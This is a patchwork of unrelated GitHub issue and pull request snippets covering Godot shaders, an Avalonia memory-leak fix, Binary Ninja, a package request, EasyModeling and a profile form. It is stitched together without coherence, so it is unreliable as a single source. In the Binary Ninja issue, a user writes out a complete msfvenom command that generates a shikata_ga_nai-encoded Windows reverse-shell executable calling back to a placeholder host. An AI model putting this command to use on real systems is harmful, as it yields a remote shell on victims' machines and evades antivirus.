To upload a file, you need to drag-and-drop the file in the text field, not its path. And don't click away until the file is done uploading :slightly_smiling_face:

You need to fix your shader code to make sure that floats use a dot. 1.0 or possibly 1.0f, not 1 or 1f (Godot used to support the latter but it's illegal in GLSL so we removed support for it for consistency).


Fixed memory leak in MethodCommandNode.cs

What does the pull request do?
Fix a memory leak in MethodCommandNode.cs that keeps controls in memory even when a window is closed.
What is the current behavior?
Binding to methods keeps the source and the control in memory indefinitely.
What is the updated/expected behavior with this PR?
No memory leaks
How was the solution implemented (if it's not obvious)?
I am not sure what's the lifecycle of ExpressionNode, as it doesn't have any Dispose methods.
I changed subscription to PropertyChanged to be based on weak reference.
Checklist

[ ] Added unit tests (if possible)?
[ ] Added XML documentation to any related classes?
[ ] Consider submitting a PR to https://github.com/AvaloniaUI/avalonia-docs with user documentation

Breaking changes

Obsoletions / Deprecations

Fixed issues

Suppressed by https://github.com/AvaloniaUI/Avalonia/pull/15485


Does not open meterpreter payload

I created a tested, working, binary executable meterpreter payload for Windows in Kali Linux using the option bottom pasted.  Binary Ninja refused to open the binary, giving me the following warning:

Caption: Operation did not complete successfully because the file contains a virus or potentially unwanted software.
Meterpreter payload options
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=<IP_ADDRESS> LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -f exe -o /tmp/1.exe

That is really annoying but it seems more like a windows issue not a Binary Ninja issue, we obviously wouldn't do a check like that, its possible that you may need to adjust your Windows defender options.

Going to mark this as closed as it doesn't appear to specifically be a Binary Ninja problem -- let us know if there's a reason that's not the case.


Package request: transset-df

Project description
A patched version of X.Org's transset with added functionality.
Metadata

homepage URL: https://forchheimer.se/transset-df/
source URL: http://forchheimer.se/transset-df/transset-df-6.tar.gz
license: GPL
platforms: unix, linux, darwin, ...

Priorities
Add a :+1: reaction to issues you find important.

Already have xorg.transset


Populating inherited properties

Describe the feature
Hi @zhezhangz, thanks for this library.
I'm writing for asking if there's a feature that can populate the properties that inherit from the superclass?
Use Case
public class Animal {
    private String name;
}

public class Person extends Animal {
  private String healthCode;
}

@Test
void test_subtype() throws JsonProcessingException {
  final Person person = PersonModeler.builder().build();

  assertThat(person.getHealthCode()).isNotNull();
  assertThat(person.getName()).isNotNull();
}

Expecting actual not to be null
java.lang.AssertionError:
Expecting actual not to be null

Possible Solution / Additional Notes
No response
Acknowledgements

[ ] I may be able to implement this feature
[ ] This feature will introduce some breaking changes

EasyModeling Version
0.1.0-release

@engtecmat Thanks for the great catch! That should be an important feature missing in the design.
I have to implement it asap.


User profile information form #54 [WIP]

Additions:-

HTML form to populate logged in user data.
Styling in vanilla CSS.
*Validating input fields using JavaScript.

Impending:-

Making the form responsive.
Populate user data
PATCH details & submit to the server

Removed redundant code (wherever applicable).
Eliminated dysfunctional regex that mis-validates presence of numbers in username field.
Attempt to make pull request mergeable. [review sought]